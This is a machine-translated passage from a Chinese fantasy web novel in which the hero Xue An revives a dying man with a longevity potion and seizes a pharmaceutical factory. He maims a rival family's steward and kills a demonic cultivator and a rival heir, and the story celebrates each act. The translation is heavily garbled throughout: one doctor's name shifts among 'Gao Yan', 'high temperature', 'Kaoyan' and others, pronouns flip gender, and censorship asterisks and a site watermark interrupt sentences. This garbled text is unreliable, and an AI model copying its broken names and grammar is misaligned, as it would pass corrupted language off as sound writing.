    Shu Liu''s complexion changed drastically, and immediately rushed downstairs. It happened that the small bottle was also put into his pocket.


    After rushing to the intensive care unit of the hospital.


    Gao Shengnan waited outside. When Shu Liu saw her, he anxiously asked, "How is my grandpa?"


    Gao Shengnan shook his head solemnly, "The situation is very bad, my father is in the clinic now!"


    Hearing this, Shu Liu breathed a sigh of relief.


    Because she knows who Gao Shengnan''s father is.


    Known as the top genius doctor in China and even in China, Gao Yan!


    As long as he is there, you can''t die if you want!


    After half an hour, the high temperature walked out of the ward with a heavy face.


    He gently shook his head at Shu Liu, "The old man''s condition is getting worse and worse. I temporarily used Jin Zhen Du''er''s needle method to help him pass this level, but the next...it is probably difficult!"


    Mobile station:

 Chapter 194： Have met seniors!

    Shu Liu''s tears burst into her eyes when she heard the words of high temperature.


    "Then... what should I do?"


    Gao Gaoyan sighed slightly, "The healer does not heal his life, so be mentally prepared!" He left first.


    As a good friend of Shu Liu, Gao Shengnan naturally wants to stay with her.


    "Okay, life and death are destiny, the old man is not too young now, don''t be too sad!"


    Shu Liu looked up at Gao Shengnan, her face full of grief and anger.


    "Grandpa hasn''t died yet. The Chi family is already aggressive. If he is gone, what should I do?"


    Hearing these words, Gao Shengnan couldn''t help sighing, "What the Chi family did... is indeed too much!"


    Shu Liu walked into the ward full of grief and looked at her only relative in the world, who was now lying unconsciously on the bed, tears falling down.


    After walking to the bed, she leaned down and whispered in her grandfather''s ear: "Grandpa, if you leave, what should I do?"


    As if he had heard it, the old man''s body trembled slightly, and a tear came out from the corner of his eyes.


    Shu Liu was about to take out a handkerchief from his pocket to wipe it off for Grandpa.


    Suddenly, she touched the glass bottle in her pocket.


    A flash of light flashed in her mind.


    I couldn''t help but think of the group of people I saw today, and what the indifferent man said, the magic medicine that can prolong life for 20 years.


    Is there really such a medicine?


    If it was normal, Shu Liu would definitely scoff at it.


    But now that her loved one is about to die, she is also confused.


    Why don''t you give it a try?


    Shu Liu tremblingly took out the glass bottle and gently opened the lid.


    A strange scent came, making people feel refreshed and happy after smelling it.


    As soon as Shu Liu gritted his teeth, he poured the potion into his grandfather.


    Nothing happens for five minutes!


    Ten minutes, still nothing!


    An hour later, Shu Liu looked at his usual grandpa, completely desperate.


    I''m so stupid, how can I believe this kind of thing?


    Shu Liu laughed mockingly, then sat on the side of the bed, preparing to accompany the elderly for the last time.


    These days of exhaustion and the heavy pressure from Chi''s family made this girl tired.


    So I don''t know when, Shu Liu fell asleep on the side of the bed.


    I don''t know how long I slept.


    Shu Liu felt that someone was touching her hair gently.


    The palms are warm and generous, just like... Grandpa often touched his hands when he was young.


    suddenly!


    Shu Liu woke up.


    grandfather!


    How is he?


    Shu Liu looked up, and then saw his grandpa leaning against the bed with a ruddy face, looking at him with a smile.


    Shu Liu was stunned.


    Is this a dream?


    It should be a dream, I may be too tired recently!


    While he was in a daze, Shu He chuckled and shook his head, "Silly girl, what are you doing in a daze?"


    Shu Liu''s tears kept falling, "Grandpa, this is a dream, right? Are you leaving?"


    Shu He wiped the tears from Shu Liu''s face and chuckled softly: "I am Grandpa, this is not a dream, I really woke up!"


    Shu Liu didn''t believe it at first, but when he pinched his face, Shu Liu was stunned.


    Really!


    This is real!


    An ecstasy came to my heart.


    Shu Liu hugged Grandpa and burst into tears.


    At exactly this time, Gao Gaoyan and his father and daughter Gao Sheng walked outside the ward.


    After hearing the cry inside, Gao Shengnan''s face changed, "Father, did Mr. Shu leave?"


    Gao Gaoyan sighed, "I saw it when I checked his pulse yesterday. He can''t survive today. Pity this Shu Liu..."


    Gao Gaoyan didn''t finish his words, because he and his daughter were both staring at the scene in the room with dumbfounded eyes.


    I saw Shu He, who was diagnosed as mortal by Kaoyan yesterday, sitting on the bed with a ruddy complexion, and nodding and smiling at them after seeing the Gao and his daughter coming.


    Gao Shengnan was so excited that he thought he was hell.


    And Gao Yan frowned, and said in his heart that it would not be a glimpse of glory, right?


    But this one is too powerful.


    Shu Liu stopped crying at this time, stood up and said to the high temperature, bending over, "Uncle Gao, my grandpa said he is all right, but I don''t worry, you can take a look!"


    High temperature Yan went forward to check his pulse, his face changed drastically.


    "Uncle Gao, how is my grandpa''s illness?" Shu Liu asked with concern.


    Kaoyan shook his head, "Your grandpa''s illness... is all healed! Even now his physical condition is better than mine!"


    In a word, everyone in the room was shocked.


    Even Shu He was a little surprised.


    And Gao Yan''s eyes were sharp as a knife, and he stared at Shu Liu and said, "Xiao Liu, I ask you, did you give the old man anything?"


    Shu Liu was shocked and suddenly thought of the small glass bottle and the words Xue An said.


    She nodded, and said about the passing.


    Gao Shengyan''s eyes burst into infinite light, and even Gao Shengnan has never seen his father so excited.


    "Where is that bottle? Quick! Let me see!"


    "After feeding Grandpa last night, I threw it away!"


    "Where did you throw it?" Gao Gaoyan asked impatiently.


    "The trash can outside..."


    Before he finished speaking, Gao Yan had already rushed out.


    Fortunately, I went out early Otherwise, the garbage will be transported away as soon as the morning cleaning comes.


    Gao Gaoyan looked very solemnly and picked up the small glass bottle, leaning to the end of his nose and smelling it.


    Then he closed his eyes and stopped talking.


    "Uncle Gao, what''s the matter?" Shu Liu asked.


    A tear came out of the corner of Gaoyanyan''s eyes, and then he suppressed the excitement in his heart, "Koyanagi, you tell uncle, will those people still come today?"


    This sentence reminded Shu Liu, she said, "That person said yesterday, just give me one night to think about it!"


    "Quick! Make a call!" Ke Yan shouted hoarsely.


    When Shu Liu dialed Xue An''s number, Gao Haiyan couldn''t wait to **** it, then took a deep breath, and said respectfully, "Senior!"


    senior?


    This title changed everyone''s complexion.


    Kaoyan''s status in Zhongdu is detached, and no matter how powerful and powerful, he must be respected.


    After all, no one can not get sick.


    And Gao Yan has never been in the world, and will always look calm.


    But today, he behaved like a pupil who saw an idol!


    But Xue An smiled faintly on the phone, "What? Have you tried it out?"


    Gao Gaoyan gave a hum, and respectfully said: "Senior, do you have time today? Me, Xiaoliu and Elder Shu, we all want to see you!"


    When Xue An and others came to this pharmaceutical factory again, they just walked in.


    High temperature Yan had already rushed all the way, and was coming straight to Xue An.


    Nearly before and after, Kaoyan bowed respectfully and said, "The apprentice has seen the senior!"


    Xue An looked at the young man in his sixtieth birthday, and smiled slightly, "High doctor?"


    Gao said with a wry smile, "In front of you, who in the world dares to call the word genius doctor?"


    Mobile station:

 Chapter 195： Im going to make a decision here, no one can come, I said!

    Xue An smiled lightly, noncommittal.


    At this time, both Shu Liu and Shu He stepped forward and bowed respectfully to Xue An.


    "Thank you for giving me medicine!"


    Xue An said lightly: "Now, is it credible?"


    Shu Liu blushed, and said in shame: "Mr. Xue, I''m sorry, I''m so insightful, I''m really sorry!"


    Gao Shengnan looked at Xue An with curious eyes.


    She thought Xue Anhui was an old man or a gentle scholar.


    But I didn''t expect Xue An to be so young.


    This made Gao Shengnan interested in it.


    A group of people is about to enter the factory.


    An Audi drove over and stopped directly in front of the factory very arrogantly.


    Then a well-dressed middle-aged man with an arrogant face got out of the car.


    As soon as he saw this person, Shu Liu''s face became gloomy.


    The man looked at everyone present, then turned his gaze at Shu Liu.


    "Miss Shu, have you figured it out clearly? You know that every day, our Chi''s offer will be reduced by 5%. Time is money!"


    Shu Liu snorted when he heard the words, while Shu He frowned and stepped forward, "If you do this in the Chi family, aren''t you afraid of retribution?"


    The man looked at Shu He a few times and sneered: "Who are you! Retribution? In Zhongdu, our Chi family is retribution!"


    Shu He smirked, "I am the founder of this factory, Shu He!"


    When the man heard this, he was slightly taken aback, "Aren''t you... dying?"


    Shu He sneered and said, "You will be mad at the actions of the Chi family if you are about to die!"


    The man chuckled, and then said disdainfully: "Even if you are Shuhe, what about it? Tell you, we have taken a fancy to this factory lately, and we should get out of sight as soon as possible, otherwise your grandfather and grandson will be destroyed!


    Shu He was trembling with anger.


    At this time, Xue An stepped forward, "Are you from the Chi family?"


    "Yes, I am the chief steward of the Chi family. My name is Chi Shi." The man said proudly.


    Xue An nodded, "Sure enough, people live as they say!"


    Everyone couldn''t help covering their mouths and laughing, and their faces became gloomy after a while.


    "Boy, I hope you can understand, who are you talking to!"


    Xue An nodded, "Of course I know, and I have something I want you to tell you the young and old Chi family!"


    "what''s up?"


    "I want this factory from the Shu family, it''s useless if anyone comes, I said it!" Xue An said lightly.


    Later, his face sank, and then he sneered, "You said, who do you think you are? Boy, go now, I can let you go, otherwise..."


    "Otherwise?" Xue An tilted his head and said lightly.


    "Otherwise I can''t spare you now!" Chi Shi said coldly.


    Xue An smiled, her smile unhappy.


    "Very good!" Xue An nodded, "Some people really don''t know awe without seeing blood."


    Later, he was full of disdain, and he was about to speak. A wisp of breeze made him feel cold in his head, and when he reached out his hand, he found it was all blood.


    After a while, he realized that one of his ears was cut off.


    The body was trembling in pain, "You..."


    Xue An said calmly: "If you don''t leave yet, every ten seconds, a part of your body will say goodbye to you! Understand?"


    He bounced up late, then got into the car like flying, and ran away with a kick of the accelerator.


    After he left.


    Both Shu Liu and Shu He breathed a sigh of relief, and then both looked at Xue An with awe.


    Only Gao Yan was not surprised by this.


    How can it be that simple for a person who can make the magic medicine to revive the dead?


    Back in the office, everyone sat around.


    Xue An said to Shuliu: "Now, this factory is taken over by us, and the money will be credited to your account soon."


    Shu Liu looked at his grandfather Shu He, Shu He nodded slightly, then all stood up and respectfully said: "Mr. Xue, we have discussed, we are not going to ask for money!"


    "Oh?" Xue An raised his eyebrows.


    Shu Liu stepped forward, "Mr. Xue, if we use this factory to buy shares, do you think it''s okay?"


    There was a long silence.


    The expressions of Shu Liu and Shu He kept changing, especially Shu Liu, who had been clenching his silver teeth, feeling very worried.


    at last.


    Xue An nodded, "Okay!"


    Shu Liu was overjoyed.


    At this time, Gao Gaoyan stood up and said with a serious expression: "Senior, if this is the case, I would also like to participate in the Gao family!"


    Xue looked at Gao Yan quietly.


    Kaoyan preemptively said: "Of course, I won''t buy shares in vain. Although I wasted a few decades, I still have a lot of experience in medicine. I can contribute all the secret recipes for free..."


    The more Gao Yan said, the smaller his voice became, because Xue An''s eyes were full of playfulness.


    High temperature couldn''t help but blush, "Of course...I also want to see what constitutes this magical medicine!"


    Then Gao Yan said solemnly: "Mr. Xue, please rest assured. Although my Gao Yan is inadequate, my character is still good. I am just curious about how this miraculous medicine was made. I will never reveal the secrets. If I break my oath, God Thunderstruck!"


    Xue An lowered his eyes.


    A look of disappointment flashed across Gao''s face, but he still bowed his hand respectfully, "The disciple understands, I am rash..."


    Before finishing talking later, Xue An nodded, "Yes!"


    Gao Gaoyan was taken aback.


    Not only was he stunned, everyone else was stunned.


    Xue An leaned on the chair, fiddled with a pencil in his hand, smiled and said: "This thing is precious to you, but to me, it''s just bricks, what''s the harm if you know it?"


    Speaking, Xue An scribbled out a piece of paper and threw it to Gao Yan.


    Gao Gaoyan was like a treasure, but he was stunned when he looked down, then raised his head to look at Xue An in surprise.


    Xue An smiled, "Does it feel normal?"


    Kaoyan nodded.


    Xue An stood up, walked to the window, and said lightly: "Do you know why I chose this factory?"


    "Because of this place, there is a Yin vein!"


    Zhongdu Chijia.


    Chi Changge leaned on the sofa after listening to Chi Shi''s cry, not knowing what he was thinking.


    After a meeting, he waved his hand, "I see, go down!"


    He cried and left.


    But Chi Changge raised his head, his eyes full of spite.


    Xue An!


    It''s you again!


    Did you deliberately oppose my Chi Changge?


    I have endured taking Anyan away.


    Do you even want to take away this factory now?


    Do you really think I have no one in Chi''s house?


    Chi Changge''s complexion is uncertain.


    Then walked into the inner room.


    An old man in the shape of an evil spirit is sitting cross-legged.


    Chi Changge kneels down respectfully Mr. things have changed! "


    The old man slowly opened his eyes, his eyes filled with deep ghost fire.


    "What''s the matter?"


    "Someone took away the pharmaceutical factory you valued!" Chi Chang sang.


    The old man''s face was shocked, "Who is it? But what descendant of the famous school?" There was a trace of panic in his voice.


    Chi Changge shook his head, "It''s a man who hasn''t been in middle school recently, his name is Xue An!"


    Chi Changge probably recounted Xue An''s situation.


    After listening, the old man laughed strangely.


    "It''s just a martial artist who knows a little bit of kung fu. It just so happens that the old man is short of blood food recently. He is looking for death by himself, so he won''t blame me!"


    Mobile station:

 Chapter 196： In my case, there is no impossible three words!

    Hearing what the old man said, Chi Changge''s eyes flashed with joy, and she knelt on the ground and said, "Sir, you want to..."


    "Under the medicine factory, there is a yin vein, which is of great benefit to my cultivation, so this old man in the medicine factory is bound to win. Since Xue An dares to ruin my good deeds, then I will refine it into a bronze corpse. , Can be considered revenge for Chi Shao!" The old man said gloomily.


    Chi Changge was startled, "Sir, do you all know?"


    The old man laughed, his voice extremely hoarse.


    "I''m a member of the magic door. I have been too late to think about it, can I still not understand? Don''t worry, after the old man heals the injury through this Yin vein, I will help you to use the soul-defying technique to make the woman you like become Your puppet for life!"


    Chi Changge was overjoyed, kneeling on the ground and banging his head.


    At this moment, in the pharmaceutical factory, Gao Gaoyan asked suspiciously: "What is the Yin vein?"


    Xue An stood with his hand holding his hand, and said lightly: "There are all sorts of incredible things in the heavens and the earth. This Yin Vessel is one of them. It is formed by gathering the Yin Qi of the world. The strongest is Netherworld!"


    "Nether......" Everyone whispered softly with horrified expressions.


    Xue An shook his head, "However, this Yin vein is obviously far from that point, and it is not even fully formed. It is still mixed with ghost energy. It should be..."


    Xue An looked at Shuhe, "When you built a factory here, was this a graveyard?"


    Shu He nodded and said solemnly: "Yes, this was a large cemetery at the beginning, but it was basically an unowned grave."


    Xue An smiled, "That''s right!"


    "The lonely grave without an owner will naturally generate yin qi in the ages. In addition, when you built the factory, the Feng Shui master you hired was good at making it a treasure house where wind and qi are collected, and this gradually formed a yin qi. pulse!"


    Xue An��s explanation made everyone nod.


    "Then what does this have to do with our medicine?" Zhao Xuehui couldn''t help asking.


    Now the three brothers are no longer surprised by Xue An''s actions.


    Even if Xue An said later that he was an Ultraman star, they would believe it.


    "Doctor Gao has looked at the prescriptions. This thing is actually unremarkable. The reason why it has the effect of resurrecting life is because I added aura when refining! But I alone cannot refine medicines here all day. If you have yin channels, you can use the continuous yin qi in the yin channels!"


    "Can Yin Qi and Reiki communicate?" Gao Shengnan asked suddenly.


    Although she didn''t understand what was inside, the two names of Yin Qi and Ling Qi were obviously different.


    "Of course we can''t communicate! But for me, there is no such three words as impossible!" Xue An said lightly.


    Between looking forward and looking forward, it was all domineering and extremely confident.


    Gao Shengnan couldn''t help but look a little stunned.


    Until she left, her heart was still beating.


    When I went back in the car, Gaoyan, who had been silent, said softly: "Shengnan, I just asked, this Mr. Xue already has a family!"


    Gao Shengnan was taken aback, and then forced a smile: "Father, what are you talking about?"


    "It''s nothing, just feel it, and his wife is still a family member in Zhongdu! You should have heard about the family birthday banquet the other day!"


    Gao Shengnan was shocked, "He was the one who messed up the Anjia birthday banquet that day and made the Chen family and General Lin come together?"


    Kaoyan nodded.


    Gao Shengnan lowered his head.


    Upon seeing this, Kaoyan sighed, but said nothing.


    That night.


    Xue An lives in the office of this pharmaceutical factory.


    At first he proposed not to leave.


    Also shocked everyone.


    Especially Shu He was shocked at first, and then he looked happy, and quietly looked at his granddaughter Shu Liu.


    Shu Liu''s face looked like a peach blossom, and she bowed her head in a twitchy manner.


    But Xue An''s next sentence ruthlessly shattered many people''s illusions.


    "I am the only one left in this factory!"


    Everyone was dismissed.


    Xue An is the only one left in the huge pharmaceutical factory.


    A bright moon hung in the sky.


    Xue An was drinking on the roof.


    I don''t know how long it took.


    Suddenly, a gust of wind covered the sky and covered the sun.


    The moonlight in the sky also dimmed, making the night denser and darker.


    Xue An didn''t move, still drinking slowly.


    Wind and sand began to hover around the building.


    Xue An raised his eyes and glanced, and said lightly: "Since it''s here, don''t you still show up?"


    Following the voice, someone in the wind and sand sneered and said: "I look down on you. I have already cultivated to the fullest, so I am a master. Unfortunately, it is useless to me!"


    After all, an old man with an evil face appeared on the roof.


    The wind and sand dispersed, and the old man stood proudly, staring at Xue An with gloomy eyes full of ghosts.


    Xue An looked at him and smiled slightly, "I didn''t expect that there are still people in this world?"


    As soon as the words came out, the old man''s expression changed slightly, "Boy, you actually know the magic door?"


    Xue An nodded and asked, "Is it because of the Yin veins here?"


    The old man Jie Jie laughed strangely, "Yes, kid, you are giving me more and more surprises, you even know the Yin veins!"


    Xue An smiled, "Not only that, but I can also see that you should have been hurt by someone, so you are eager to find a Yin vein to heal your injury, right?"


    The old man''s face changed drastically, and the expression in his eyes began to flicker, "Old man, Demon Corpse Men Gong Xingfa, who are you?"


    Gong Xingfa was afraid that Xue An would be a descendant of a certain famous school, so first try.


    Xue An shook his head, "No need to ask, I''m not a descendant of a big faction!"


    With that, Xue An drank another glass of wine.


    Gong Xingfa breathed a sigh of relief. In his opinion, Xue An''s martial arts training was pretty good, but the more so, the more excited Gong Xingfa was.


    Because this also means that if he refines Xue An into a demon corpse, he will be more powerful.


    "Boy, you are wrong because you know too much, but you are not good at it!" Gong Xing said coldly.


    Xue An clapped his hands and chuckled: "Yes! But this is exactly what I want to tell you!"


    Gong Xing let out a cold snort, and the devilish energy behind him suddenly covered the moon above his head.


    "Lawlessness!"


    This is Gong Xingfa��s most powerful ultimate move He once used this move to directly kill several monks, but in the end there were several Kunlun inner sect children, who immediately provoke him Here comes big trouble.


    After being chased by the Kunlun Xiu with nowhere to escape, he was forced to hide in Zhongdu, only to barely save his life.


    Now, in order to kill with one blow, he directly used the strongest killer move.


    Within the scope of the devilish energy, all martial arts tricks and techniques have temporarily failed.


    Gong Xing was trembling slightly with excitement. In his opinion, in the next second, this Xue An would be sucked into a man by himself, and then the corpse would be refined into a devil by himself!


    Imagination is always beautiful, but reality is cruel.


    Gong Xingfa only felt that his devilish energy had just touched Xue An, and a supreme and noble aura radiated from Xue An and went straight to the sky!


    Mobile station:

 Chapter 197： I kill Sanxian like a pig and a dog

    At this time, Gong Xingfa was so frightened that he screamed, "Are you Sanxian?"


    A calm voice came.


    "Sanxian? I kill Sanxian like a pig and a dog!"


    Then a slender and delicate fist slammed through the layers of black energy and directly imprinted on Gong Xingfa��s chest. An awe-inspiring force struck Gong Xingfa. Gong Xingfa was knocked down and flew out several hundred meters. Without saying a word, he turned and turned into a black light, trying to escape.


    A playful smile appeared at the corner of Xue An''s mouth.


    "Do you know why I am waiting for you here? Because the demon body after your death is the most suitable for the eyes of this Yin vein! So...Go to death!"


    Xue An said, raising his fist.


    At this time, Gong Xingfa had already ran away ten miles away, and he was still terrified.


    This man is simply terrible.


    Especially the awe-inspiring aura in him, Gong Xingfa has only seen him in some ancient law inheritors.


    Fortunately, I ran fast enough!


    Gong Xingfa wiped his cold sweat.


    But before he could breathe a sigh of relief, a figure appeared above his head, and then coldly said: "Move the world!"


    boom!


    Gong Xingfa didn''t even struggle, and was directly blasted by this punch.


    But the devil bones stand tall.


    At the same time, the skeleton''s mouth was still moving, "I can keep the devil bone, but please forgive me!"


    Xue An was too lazy to talk to him and waved.


    The devil gradually shrank, and then flew into the palm of his hand.


    As for the soul of Gong Xingfa attached to it, Xue An erased it casually.


    At this point, Gong Xingfa, the demon sect man who had fled for many years and could not be killed by the Kunlun immortals, completely disappeared.


    Xue An returned to the pharmaceutical factory, stood on the top of the building, closed his eyes and meditated for a while, then dropped the devil bone in his hand.


    "Heaven and earth listen to orders, reverse yin and yang!"


    boom!


    This demon bone instantly disappeared above the ground.


    What Xue An borrows is the Tao of the yin and the yang.


    So after a while, a faint aura floated out.


    Xue An nodded in satisfaction, and set up another spirit-inducing circle to facilitate the use of medicine later.


    After finishing everything, Xue An looked into the distance.


    "Chi Changge? It''s a capital crime to be a teacher. If you dare to be unruly towards An Yan, then I will send you on the road!"


    After all, Xue An jumped into the darkness and disappeared.


    Chi Changge is drunk and dreaming in a bar right now.


    The joy of the rival''s death made him extremely comfortable, so he called the waiter with his hand, and after a few words, the waiter respectfully retreated.


    After a while, I listened to the DJ at the front desk picking up the microphone and shouting: "Master Chi will pay the bill for the consumption tonight, everyone!"


    The whole bar was boiling.


    Many people took their wine glasses to pay tribute to Chi Changge on the deck.


    Chi Changge laughed and drank the wine in one cup.


    As soon as the wine glass was put down, someone sat on the sofa beside him.


    Chi Changge frowned. What he hates most is that someone gets too close to him, so he is ready to get angry!


    But when he looked up, he couldn''t help being stunned when he saw Xue An with an indifferent face.


    "Are you surprised?" Xue An said lightly.


    Chi Changge was stiff and pale, "You...you..."


    "Why am I still alive?" Xue Ansen smiled.


    "Unfortunately, your so-called magician is still too weak!"


    Chi Changge trembled all over, and then was extremely frightened: "What do you...want to do? I am the Chi family, and I don''t know what you just said!"


    Xue An looked at Chi Changge and shook his head gently, "I''m curious, why do you guys react the same before you die?"


    Chi Changge opened her mouth to call for help.


    He is almost frightened now.


    suddenly.


    He felt a cold in his chest, then lowered his head and looked at the wound on his chest blankly.


    The blood was flowing, and soon the sofa under him was stained red.


    Xue An stood up and said lightly: "Remember to check the opponent''s details in advance when choosing an opponent in the next life!"


    After speaking, Xue An turned and disappeared into the bar.


    Chi Changge''s body was not discovered until more than an hour later.


    The whole bar was a sensation.


    The bar owner was almost frightened.


    That''s the Chi family!


    Now that something has happened on my own territory, I have to follow it to death!


    Soon, the people from Chi''s family sealed off the scene.


    "What''s the matter?" Chi Chongshan asked with a gloomy expression.


    "The homecomer was injured by Jian Qi! A deadly move, very clean!" The Chi family worshipped.


    Chi Chongshan''s teeth creaked and creaked, "Sword Qi hurt? Who would dare to kill my Chi family''s children in the middle?"


    But these angers didn''t help at all, they had to take Chi Changge''s body back first.


    As soon as he arrived home, Chi Weiyang hurried back after hearing the news.


    When she saw the tragic death of her brother, she cried into tears.


    Then she wiped her tears and said bitterly: "Father, I think someone is suspicious!"


    Then Chi Weiyang said all about Xue An.


    Chi Chongshan''s eyes flickered after listening.


    He knew what happened at the Anjia birthday banquet.


    Now the old lady An has become a joke of the upper-class elites in the capital.


    But I didn''t expect that my son would still have this kind of hatred with that Xue An.


    "Okay, I see, this Xue An, I will definitely not let it go!" Chi Chongshan gritted his teeth and said bitterly.


    The second day.


    When Shu Liu arrived at the factory early, he realized that there was something wrong with the factory today.


    In the past, there was always a layer of mist over this factory. Although it was not harmful, it was still weird.


    Today, the entire factory is unprecedentedly transparent.


    People feel relaxed and happy when they come in.


    Not only did she have this discovery alone, but everyone else felt the same.


    But everyone did not dare to ask.


    Xue An made arrangements for the following things and separately trained the three brothers.


    In the next few days, Shu Liu and others began to get busy with medicine.


    Because of the addition of Gao Yan, all this went smoothly.


    Soon, the entire production process was finalized.


    And Xue An told the Zhao Xuehui brothers how to transform their spirits.


    After waiting for this day, the potion is refined and aura is added.


    Everyone looked at ~www.novelhall.com with excitement~How can I try this? "Shu Liu asked.


    Gao Gaoyan said solemnly: "Let me come!"


    After that, he picked up the small bottle of potion and drank it.


    ten minutes.


    One hour!


    In the end, Gao Gaoyan felt a fire in his lower abdomen, and he frowned when he was burning.


    Then I felt that the usual obscure body suddenly became the same.


    So far.


    This longevity medicine was successfully trial-produced.


    Zhao Xuehui and the others were so excited, they were about to report good news to Xue An.


    The news that the new ghost and **** is about to cross the sea east has also spread throughout China!

 Chapter 198： To be willing to bait to fish for Jinao

    In the face of this sudden news, some were happy and some were worried.


    On the martial arts forum, many people are frantically scrolling the screen, in order to cheer up their idol, General Shenlin of the First Army of China.


    However, there are still many people who are not so optimistic about this battle.


    After all, General Lin has been famous for thirty years. He has been injured many times in a series of battles. There is even some gossip that his strength is not as good as before.


    Under such a premise, facing the new ghost of country R, ??the outcome is really unpredictable!


    But the Beijing giants reacted differently.


    settle down.


    After hearing the news, the old lady An, who hadn''t made an appearance for several days, was very energetic and immediately called her two sons to discuss the matter.


    An Xue was the first to say: "This war is about the ownership of rights in the next ten years. General Lin will definitely go all out. This time the ghost and **** of country R is actually a woman, so I think it will be General Lin who will win. ."


    An Chang shook his head, "General Lin has been famous for too long, and his strength has become a mystery, but this time I bought it from Country R with a lot of money and said that this time the strength of the ghost sword is terrifying!"


    Jin Xiurong sat on a chair with a gloomy expression. After a while, he said coldly: "No matter what, if General Lin is defeated in this battle, then Xue An and An Yan''s pair of **** will become a tree without roots. At that time, I will let him know the consequences of betraying the family!"


    Chi Jia is also having a similar discussion right now.


    Chi Chongshan gritted his teeth and said: "As soon as General Lin fell, the Chen family alone is not enough to protect Xue An. When that happens, I will avenge Changge!"


    At this time, the advance envoy of Country R came to China in advance.


    "Honorable General, dare to ask about the battle post of my lord, can you receive it?" a man wearing a kimono with an arrogant expression said loudly.


    General Lin sat on the chair, staring blankly, frowning slightly, "The new ghost is a woman?"


    The man''s complexion changed, and then he sneered: "Your Excellency General, I hope you can understand that my lord is a **** descended from the sky, so it''s best to pay attention when speaking!"


    This sentence made the people in the room discolored.


    An Qing stepped forward and said indifferently: "Your Excellency Songdo, I hope you also think clearly, this is China, not your country R!"


    Matsushima Nanako glanced at An Qing sarcastically, and then said to General Lin: "Is this the quality of your soldiers?"


    An Qing''s complexion changed drastically.


    General Lin waved her hand, motioned her not to speak, and then whispered: "Then you tell me, how should I pay attention?"


    "Your Excellency, I hope you and others will add respect when they mention my lord!" Said this, Matsushima Nanako''s eyes were full of respect.


    In the eyes of a middle-level member of Yaki Shrine like him, Kiyoko Takeuchi, possessed by the demon god, is a **** in the world, and no one can slander him.


    General Lin laughed, and then directed at the entourage next to Matsushima Nanako: "Remember to tell you that ghost and **** after going back, ten days later, I will kill her on Mingfeng Mountain, twenty miles north of the city!"


    Matsushima Nanako was startled, then furious, "Your Excellency, are you deliberately humiliating the samurai of country R?"


    General Lin drew his sword abruptly, and a biting sword gas directly split Matsushima Nanako in half.


    Blood sprayed all over the place.


    Then General Lin said coldly: "In China, it is not yet another turn to wait for the clown to be arrogant here!"


    Everyone was taken aback for a moment, and then they all looked at the proud general Lin with reverence.


    Only An Qing''s eyes showed a hint of worry.


    That day.


    The news spread that General Lin had slashed the envoy of Country R, ??and everyone''s spirits were shocked.


    More enthusiasts praised General Lin on the martial arts forum, thinking that such a job is a real iron-blooded soldier!


    The atmosphere of seeing General Shuailin also eased slightly.


    Xue An led An Yan and his daughter to the pharmaceutical factory, along with Chen Xiu and Chen Rushi, his grandfather and grandson.


    When I saw the bottle of pale golden liquid produced.


    Chen Xiuhe was dumbfounded, speechless in surprise.


    "Xue...Mr. Xue, these are all what you said, the magic medicine that can prolong life for 20 years?"


    Xue An nodded, "I call them Tianyuan!"


    "Heavenly Fate!" Chen Xiuhe muttered to himself, and then sighed.


    "Mr. Xue, when you first talked about this, I thought it was impossible at all, but I didn''t expect that in a few days, you would have done it! Really admirable!"


    Xue An smiled and looked at the three brothers who were busy not far away, and said lightly: "I was just responsible for pushing it a bit. There are many people who are busy with specific matters."


    At this time, Gao Gaoyan walked down the production line, and when he saw Chen Xiuhe, he quickly gave up his hand, "Patriarch Chen!"


    Chen Xiuhe said in surprise: "Mr. Gao? Why are you here?"


    Kaoyan is very popular in Zhongdu, and Chen Xiuhe certainly recognizes him.


    Gao Gaoyan laughed, "Of course I helped Senior Xue produce medicine!"


    After speaking a few more words, Gao Haiyan turned around and continued to work.


    Looking at the back of Gao Yan, Chen Xiuhe couldn''t help sighing, "Mr. Xue is really amazing, and even people like Gao Yan are willing to work for you!"


    Chen Xiuhe is well aware of the temper of Gao Yan. Although this genius doctor is very gentle and elegant in his dealings with others, he is actually extremely arrogant.


    If he doesn''t look good, then you kneel down and beg him, and he won''t help you heal.


    Xue An smiled, and suddenly the conversation changed, "Do you know why I want you to come?"


    Chen Xiuhe looked solemn and said, "Mr. Xue, please speak!"


    "The Fate of Heaven is out, I am going to gather all the wealthy families to hold a press conference!" Xue An said lightly.


    Chen Xiuhe was taken aback for a moment, and then said in a deep voice, "With this thin face of the old man, this is of course not difficult! It''s just..."


    Chen Xiuhe paused, and then said: "Now that the ghost sword of country R is coming, everyone is staring at General Lin, even with you and I are already in the whirlpool, if you suddenly release this... Is it too risky?"


    Chen Xiuhe''s meaning is clear.


    Countless pairs of eyes are now staring at them and the benefits of this heavenly fate are too amazing. If it is released now, it will definitely change.


    Not only did Chen Xiuhe think so, Chen Rushi also looked at Xue An anxiously, not understanding why he did it!


    Xue An smiled lightly: "This is exactly what I asked for. Have you ever heard a word?"


    "What?" Chen Xiuhe was taken aback.


    "I''m willing to fish Jinao with incense bait!" Xue An said lightly.


    Chen Xiuhe was shocked, and there was a stunned light in his eyes, "Mister meant to say..."


    Xue An nodded, "Yes, I just want to lure those who are unpredictable to come out, and then hold their lives and deaths in the palm of their hands!"


    In his indifferent tone, he was full of strong confidence!


    After hearing this, Chen Xiuhe stepped back with a serious face, and said, "Okay, since my husband has this in mind, then my Chen family is willing to do the same thing!"

 Chapter 199： The taste of coffee and Banlangen

    Chen Rushi looked at this man with a powerful aura faintly, with mixed feelings in his heart.


    But it didn''t wait for her to sigh.


    Xue Nian on the side pointed to the small bottles on the assembly line, drooling, "Dad, is this delicious?"


    Upon hearing this, Xue Xiang sighed like a little adult, and then said with his arms akimbo: "Xue Nian, you are a glutton, but father, this thing looks delicious!" Xue Xiang also said with some salivation.


    Xue An laughed and picked up two bottles, "Try it!"


    The two little girls took it over, just like drinking a drink, and drank two bottles of Tianyuan.


    This scene stunned many people.


    You must know that the cost of producing a bottle of Tianyuan now is about one million yuan, but Xue An casually uses it as a drink for his daughter.


    The two little girls squinted their eyes after drinking.


    "Is it delicious?" An Yan asked at this time.


    "Hmm! It''s sweet and sour, like juice!" Xue Nian said.


    "No, I drank like coffee!" Xue Xiang said first.


    "Have you ever had coffee?" Xue Nian looked unbelieving.


    "Why haven''t we drunk it? Aunt Xuan''er asked us to drink Banlangen, she said, it''s the same taste as coffee!" Xue Xiang argued for reason.


    The two little girls began to discuss the taste of Banlangen and coffee.


    And Xue An picked up another bottle and gave it to An Yan, "Try it too!"


    An Yan shook his head, "Didn''t you say that with my current body, any panacea is useless? Don''t waste it!"


    Xue An smiled, "I''m wasting your husband!"


